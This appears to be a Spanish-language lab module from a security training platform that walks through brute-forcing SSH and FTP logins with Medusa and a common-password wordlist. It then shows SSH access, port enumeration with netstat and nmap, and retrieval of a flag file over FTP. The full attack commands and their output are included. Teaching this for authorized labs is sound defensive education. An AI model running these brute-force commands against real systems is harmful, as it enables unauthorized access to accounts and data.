Web Services
En el dinámico panorama de la ciberseguridad, mantener mecanismos de autenticación robustos es crucial. Aunque tecnologías como Secure Shell (SSH
) y File Transfer Protocol (FTP
) facilitan el acceso remoto seguro y la gestión de archivos, a menudo dependen de combinaciones tradicionales de nombre de usuario y contraseña, lo que presenta vulnerabilidades explotables a través de ataques de fuerza bruta. En este módulo, exploraremos la aplicación práctica de Medusa
, una herramienta potente de fuerza bruta, para comprometer sistemáticamente servicios SSH y FTP, ilustrando vectores de ataque potenciales y destacando la importancia de prácticas de autenticación reforzadas.
SSH
es un protocolo de red criptográfico que proporciona un canal seguro para inicio de sesión remoto, ejecución de comandos y transferencia de archivos a través de una red no segura. Su fortaleza radica en su cifrado, que lo hace significativamente más seguro que protocolos no cifrados como Telnet
. Sin embargo, contraseñas débiles o fácilmente adivinables pueden socavar la seguridad de SSH, exponiéndolo a ataques de fuerza bruta.
FTP
es un protocolo estándar de red para transferir archivos entre un cliente y un servidor en una red informática. También se utiliza ampliamente para subir y descargar archivos de sitios web. Sin embargo, el FTP estándar transmite datos, incluidas las credenciales de inicio de sesión, en texto claro, lo que lo hace susceptible a interceptaciones y ataques de fuerza bruta.
Kick-off
Para seguir este ejemplo, inicia el sistema objetivo desde la sección de preguntas al final de la página.
Comenzamos nuestra exploración apuntando a un servidor SSH que se ejecuta en un sistema remoto. Asumiendo conocimiento previo del nombre de usuario sshuser
, podemos usar Medusa para probar diferentes combinaciones de contraseñas hasta lograr la autenticación exitosa de manera sistemática.
El siguiente comando sirve como nuestro punto de partida:
medusa -h <IP> -n <PORT> -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3
Desglose del comando:
-h <IP>
: Especifica la dirección IP del sistema objetivo.-n <PORT>
: Define el puerto en el que el servicio SSH está escuchando (generalmente el puerto 22).-u sshuser
: Establece el nombre de usuario para el ataque de fuerza bruta.-P 2023-200_most_used_passwords.txt
: Apunta a una wordlist que contiene las 200 contraseñas más usadas en 2023. La efectividad de un ataque de fuerza bruta a menudo está vinculada a la calidad y relevancia de la wordlist utilizada.-M ssh
: Selecciona el módulo SSH dentro de Medusa, adaptando el ataque específicamente para la autenticación SSH.-t 3
: Dicta el número de intentos de inicio de sesión paralelos que se ejecutarán simultáneamente. Incrementar este número puede acelerar el ataque, pero también puede aumentar la probabilidad de detección o activación de medidas de seguridad en el sistema objetivo.
medusa -h IP -n PORT -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
...
ACCOUNT FOUND: [ssh] Host: IP User: sshuser Password: 1q2w3e4r5t [SUCCESS]
Al ejecutarse, Medusa mostrará su progreso a medida que prueba las combinaciones de contraseñas. La salida indicará un inicio de sesión exitoso, revelando la contraseña correcta.
Gaining Access
Con la contraseña en mano, establece una conexión SSH usando el siguiente comando e ingresa la contraseña encontrada cuando se te solicite:
ssh sshuser@<IP> -p PORT
Este comando iniciará una sesión SSH interactiva, dándote acceso a la línea de comandos del sistema remoto.
Expanding the Attack Surface
Una vez dentro del sistema, el siguiente paso es identificar otras posibles superficies de ataque. Usando netstat
(dentro de la sesión SSH) para listar puertos abiertos y servicios en escucha, descubres un servicio ejecutándose en el puerto 21.
netstat -tulpn | grep LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
Una mayor investigación con nmap
(dentro de la sesión SSH) confirma este hallazgo como un servidor FTP.
nmap localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2024-09-05 13:19 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000078s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 998 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
Targeting the FTP Server
Habiendo identificado el servidor FTP, puedes proceder a realizar fuerza bruta en su mecanismo de autenticación.
Si exploramos el directorio /home
en el sistema objetivo, vemos una carpeta llamada ftpuser
, lo que implica la probabilidad de que el nombre de usuario del servidor FTP sea ftpuser
. Basándonos en esto, podemos modificar nuestro comando de Medusa en consecuencia:
medusa -h 127.0.0.1 -u ftpuser -P 2023-200_most_used_passwords.txt -M ftp -t 5
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
GENERAL: Parallel Hosts: 1 Parallel Logins: 5
GENERAL: Total Hosts: 1
GENERAL: Total Users: 1
GENERAL: Total Passwords: 197
...
ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: ftpuser Password: ... [SUCCESS]
...
GENERAL: Medusa has finished.
Diferencias clave en este comando:
-h 127.0.0.1
: Apunta al sistema local, ya que el servidor FTP se está ejecutando localmente. Usar la dirección IP indica explícitamente a Medusa que utilice IPv4.-u ftpuser
: Especifica el nombre de usuarioftpuser
.-M ftp
: Selecciona el módulo FTP dentro de Medusa.-t 5
: Incrementa el número de intentos de inicio de sesión paralelos a 5.
Retrieving The Flag
Tras descifrar con éxito la contraseña FTP, establece una conexión FTP. Dentro de la sesión FTP, usa el comando get
para descargar el archivo flag.txt
, que puede contener información sensible:
ftp ftp://ftpuser:<FTPUSER_PASSWORD>@localhost
Trying [::1]:21 ...
Connected to localhost.
220 (vsFTPd 3.0.5)
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
200 Switching to Binary mode.
ftp> ls
229 Entering Extended Passive Mode (|||25926|)
150 Here comes the directory listing.
-rw------- 1 1001 1001 35 Sep 05 13:17 flag.txt
226 Directory send OK.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||37251|)
150 Opening BINARY mode data connection for flag.txt (35 bytes).
100% |***************************************************************************| 35 776.81 KiB/s 00:00 ETA
226 Transfer complete.
35 bytes received in 00:00 (131.45 KiB/s)
ftp> exit
221 Goodbye.
Finalmente, lee el archivo para obtener la flag:
cat flag.txt
HTB{...}
La facilidad con la que se pueden ejecutar estos ataques subraya la importancia de emplear contraseñas fuertes y únicas.